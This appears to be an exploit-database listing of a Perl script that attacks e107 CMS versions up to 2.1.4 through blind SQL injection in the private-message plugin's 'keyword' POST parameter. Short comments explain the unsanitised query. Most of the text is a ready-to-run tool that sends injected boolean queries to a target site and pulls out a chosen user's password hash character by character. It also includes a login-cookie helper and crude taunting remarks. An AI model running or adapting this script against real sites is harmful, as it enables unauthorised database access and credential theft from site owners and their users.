e107 < 2.1.4 - 'keyword' Blind SQL Injection



EKU-ID: 45787 CVE: OSVDB-ID:
Author: StAkeR Published: 2017-03-09 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/perl
#
#
# e107 <= 2.1.4 "keyword" Blind SQL Injection Exploit
#
# --------------------------------------------------------------------------
# [*] Discovered by staker - staker[at]hotmail[dot]it
# [*] Discovered on 09/03/2017
# [*] Site Vendor: http://www.e107.org
# [*] BUG: Blind SQL Injection
# --------------------------------------------------------------------------
#
#
# Description
# -------------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "e107_plugins/pm/pm.php" script
# not properly saniting user-supplied input to the "keyword" POST variable
# This may allow an attacker to inject or manipulate sql queries in
# the backend database regardless of php.ini settings
# -------------------------------------------------------------------------
# SHORT EXPLANATION
# -----------------------------------
#
# FILE:  "e107_handlers/core_functions.php"
#
# 76. function vartrue(&$val, $default='')
# 77. {
# 78.   if (isset($val) && $val) { return $val; } {1} <--- variable is not sanized to be sent at the mysql database
# 79.    return $default;
# 80.}
#
# ----------------------------------
#
# FILE: "e107/e107_plugins/pm/pm.php"
#
#
# 35. if(vartrue($_POST['keyword']))   {2}<--- if $_POST keyword variable is set, then e107 starts pm_user_lookup() function.
# 36. {
# 37.   pm_user_lookup();
# 38.}
#
#
#
# 615. function pm_user_lookup()
# 616. {
# 617.  $sql = e107::getDb();
# 618.
# 619. $query = "SELECT * FROM #user WHERE user_name REGEXP '^".$_POST['keyword']."' "; {3} <---- variable not sanized
# 620. if($sql->gen($query))
# 621. {
# 622. echo '[';
# 623  while($row = $sql->fetch())
# 624. {
# 625.   $u[] =  "{\"caption\":\"".$row['user_name']."\",\"value\":".$row['user_id']."}";
# 626. }
# 627.
# 628.  echo implode(",",$u);
# 629.  echo ']';
# -----------------------------------
#
#
# use your brain..
#
# Greetz to: Warwolfz Crew,
# meh, Dante90, SHADES MASTER and nexen
#
# -- 0gay --
#
# -----------------------------------
# YOUR MOM IS NOT SAFE ANYMORE!!
# CALL HER!!
# -----------------------------------



use strict;
use IO::Socket::INET;
use LWP::UserAgent;




my ($URL,$uid) = @ARGV;
my @chars = (8..122);
my ($i,$ord,$hash) = (1,undef,undef);





if (@ARGV != 2) { usage(); }


$URL = parse::URL($URL);


syswrite (STDOUT,"[-] Crypted Password: ");


for ($i=0;$i<=60;$i++)
{

   foreach $ord (@chars)
   {

      if (e107::Query(sql($i,$ord),$URL) == 666 )
	  {
	      syswrite (STDOUT,chr($ord));
		  $hash .= chr($ord);
		  last;
	  }
	  if ($i == 2 and not defined $hash)
	  {
	     syswrite (STDOUT,"\n[-] Exploit Failed");
		 exit;
	  }
   }
}



if (length($hash) == 60) {
   die "\[-]Exploit Successfully";
}
else {
   die "\n[-] Exploit Failed";
}





sub e107::Query
{

      # 1st parameter, sql query
      # 2nd parameter, e107 website

	  my ($query,$URL) = @_;
      my $response = undef;

      my $lwp = new LWP::UserAgent;


      $lwp->default_header('User-Agent' => 'Lynx (textmode)');

      $response = $lwp->post($URL."/pm/",
                            [
			     keyword => $query
			    ]) or die $!;


        if ($response->content =~ /caption/) {
		   return 666;
		}
        else {
           return 0;
        }

}


sub parse::URL
{
        my $string = shift @_ || die($!);

        if ($string !~ /^http:\/\/?/i) {
                $string = 'http://'.$string;
        }

        return $string;
 }



sub sql
{

      # 1st parameter, an e107's userid
      # 2nd parameter substring number
      # 3rd parameter charcode number

      my ($i,$j,$sql) = (shift,shift,undef);

      $sql = "' AND ASCII(SUBSTRING((SELECT user_password FROM e107_user WHERE user_id=".$uid."),".$i.",1))=".$j."#";

      return $sql;
}





sub e107::Cookies
{

        my ($username,$password) = @_;
        my ($packet,$content);

        my $host = "127.0.0.1";   # Valid Host  (insert it manually)
		my $path = "/e107/";      # Valid e107 path (insert it manually)


		my $data = "username=",$username."&userpass=".$password."&userlogin=Sign+In";


		my $socket  = new IO::Socket::INET(
                                            PeerAddr => $host,
                                            PeerPort => 80,
                                            Proto    => 'tcp',
                                          ) or die $!;



        $packet .= "POST ".$path."/login.php HTTP/1.1\r\n";
        $packet .= "Host: ".$host."\r\n";
        $packet .= "User-Agent: Lynx (textmode)\r\n";
        $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $packet .= "Content-Length:".length($data)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet.= $data;


		$socket->send($packet);

		while (<$socket>) {
		  $content .= $_;
		}


		if ($content =~ /Set-Cookie: (.+?)/) {
		    return $1;
	    }
        else {
            die("[-] Login Failed..\n");
        }


	# This function is useful to log-in and retrieves your cookies, but you don't need it for this exploit.
        # it works without log-in, but if you got some trouble, try to use this one.

	# e107::Login('YOUR USERNAME','YOUR PASSWORD');
}


sub usage() {

        print "[*---------------------------------------------------------*]\n".
              "[*  e107 <= 2.1.4 'keyword' Blind SQL Injection Exploit    *]\n".
              "[*---------------------------------------------------------*]\n".
              "[* Usage: perl web.pl [host] [uid]                         *]\n".
              "[*                                                         *]\n".
              "[* Options:                                                *]\n".
              "[* [host] insert a valid host                              *]\n".
              "[* [uid]  insert a userid                                  *]\n".
              "[*---------------------------------------------------------*]\n";
      exit;

}